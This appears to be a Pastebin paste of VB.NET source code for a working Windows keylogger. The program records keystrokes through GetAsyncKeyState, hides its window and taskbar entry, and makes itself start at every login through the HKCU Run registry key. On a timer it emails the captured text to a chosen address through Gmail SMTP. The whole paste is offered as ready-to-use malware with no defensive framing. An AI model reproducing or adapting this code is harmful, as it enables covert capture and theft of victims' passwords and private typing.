Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Option Strict On
- Imports System.Net.Mail
- Public Class Form3
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
- Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
- Try
- Dim smtpserver As New SmtpClient
- smtpserver.EnableSsl = True
- smtpserver.Credentials = New Net.NetworkCredential("EMAIL", "EMAIL PASSWORD")
- smtpserver.Port = 587
- smtpserver.Host = "smtp.gmail.com"
- Dim mail As New MailMessage
- mail = New MailMessage
- mail.From = New MailAddress("EMAIL", "EMAIL NAME (BOB JOHNS)")
- mail.To.Add("WHAT EMAIL YOU WANT TO SEND TO")
- mail.Subject = ("New Key Log Data")
- mail.Body = txtLogs.Text
- smtpserver.Send(mail)
- Catch ex As Exception
- Me.Close()
- End Try
- End Sub
- Private Sub tmrKey_Tick(sender As Object, e As EventArgs) Handles tmrKey.Tick
- Dim result As Integer
- Dim key As String
- Dim i As Integer
- For i = 2 To 90
- result = 0
- result = GetAsyncKeyState(i)
- If result = -32767 Then
- key = Chr(i)
- If i = 13 Then key = vbNewLine
- Exit For
- End If
- Next i
- If key <> Nothing Then
- If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
- txtLogs.Text &= key
- Else
- txtLogs.Text &= key.ToLower
- End If
- End If
- If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "V" Then
- Me.Visible = True
- End If
- End Sub
- Private Sub Form3_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
- txtLogs.Text &= vbNewLine & "Keylogger has been stopped at: " & Now & vbNewLine
- End Sub
- Private Sub Form3_Load(sender As Object, e As EventArgs) Handles Me.Load
- Me.ShowIcon = False
- Me.ShowInTaskbar = False
- Me.Visible = False
- txtLogs.Text &= vbNewLine & "Keylogger started at: " & Now & vbNewLine
- My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)
- End Sub
- Private Sub FlatButton1_Click(sender As Object, e As EventArgs) Handles FlatButton1.Click
- tmrEmail.Stop()
- tmrKey.Stop()
- MsgBox("Keylog Has Been Stopped")
- End Sub
- Private Sub FlatButton2_Click(sender As Object, e As EventArgs) Handles FlatButton2.Click
- Application.Exit()
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement